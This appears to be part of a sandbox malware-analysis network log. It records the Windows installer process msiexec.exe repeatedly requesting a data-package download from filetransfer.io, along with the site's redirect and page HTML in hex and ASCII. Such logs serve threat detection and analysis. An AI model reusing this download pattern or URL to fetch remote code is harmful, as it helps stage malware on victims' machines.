2025-01-10 19:14:28 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:29 UTC	611	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:29 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:29 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xmMDek5G9sMADAQM08NOJpixOKZC5iN8iEKf%2FrGCGPHMaNYl8bKMoCsWni7hLI2zna73AZ6xz6btkqXeAfJqRt5JJCD8Nv8WqfuCF88F6nCLSe1M3umhJBxaJYXZ23RMbRc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd8349fb43ec-EWR
2025-01-10 19:14:29 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	57944	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:29 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:29 UTC	940	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 32YoEA+cD8fkzmCzlUP4o2pWyJNNkeUYzi9k/FnIcrXy2yaLkFY3yzxJnNGZFgzXXvsnhp6yfJQ= x-amz-request-id: 72MTYT1RWPYPR189 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SmfYY3nXjPb9WAQa8i1SE8iMfLGOLbVoDtdpvLtZPzPWDaI4ns4JVXt41K9uSG%2BgJ2zwnbVBtl34F9Vq11uVab3AUza9FdQ7NB3ajHm0yScTRFTKJyamzRz4ZeUKOrfGOAo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd879e2dde97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1554&rtt_var=617&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1724748&cwnd=238&unsent_bytes=0&cid=7094c6976a393e10&ts=209&x=0"
2025-01-10 19:14:29 UTC	429	IN	Data Raw: 34 62 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 4bd0<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 Data Ascii: arset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:description"
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b Data Ascii: con-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><link
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e Data Ascii: <meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="website">
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 20 3d 20 22 Data Ascii: of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave = "
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e 74 72 79 2e Data Ascii: me.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sentry.
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 Data Ascii: to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 43 6f 64 65 5f 5f 5f 5f 5f Data Ascii: ion class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ownerCode_____
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a 09 09 09 09 09 3c 61 20 68 Data Ascii: </div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.<a h
2025-01-10 19:14:29 UTC	1369	IN	Data Raw: 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 20 74 68 65 20 73 70 65 63 69 66 69 63 20 66 69 6c 65 Data Ascii: lert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add the specific file

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	57945	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:30 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:30 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:30 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:30 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KuCmKLEAkD%2Br24D9zG9LbFxTn54BEx2XflldKbFAw9BbHlO8%2Bh3BwF2Pn4EuThP2t08%2FbcNEiNeYfOdL5RcVs9HEANaQbh%2BBWICdV1ZQNXlCPY7cdq5FPR9tIsjrh6t381g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd8d0c598ca2-EWR
2025-01-10 19:14:30 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	57946	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:31 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:31 UTC	948	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: Ld37I87VTlXuJrQvsvDogZQwBdJSEJn0MDAHqeZz1acDtwuE0LGmpKXb8THDqvH31ywNKq7glNc= x-amz-request-id: YYRJN8Z2KM972PZR Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G01EKrdQK1Ubnb3EimVPZ%2F47ulhGNGDuSvgTPnWjU6BzBgDrz2M81PBSX7ZfcwHrB22coT7AhGymyx5mBTmQLq0%2BtTKhgC19Otrkozp3W%2FzXfsMrHra4gDXTTTCvK5zO%2F%2Bw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd90df311861-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1672&rtt_var=638&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1700640&cwnd=188&unsent_bytes=0&cid=ca6c6164e530fa8f&ts=184&x=0"
2025-01-10 19:14:31 UTC	421	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 Data Ascii: <meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:desc
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 Data Ascii: -touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 Data Ascii: .png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="w
2025-01-10 19:14:31 UTC	1369	IN	Data Raw: 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c Data Ascii: ginning of you e-mail, press enter."; 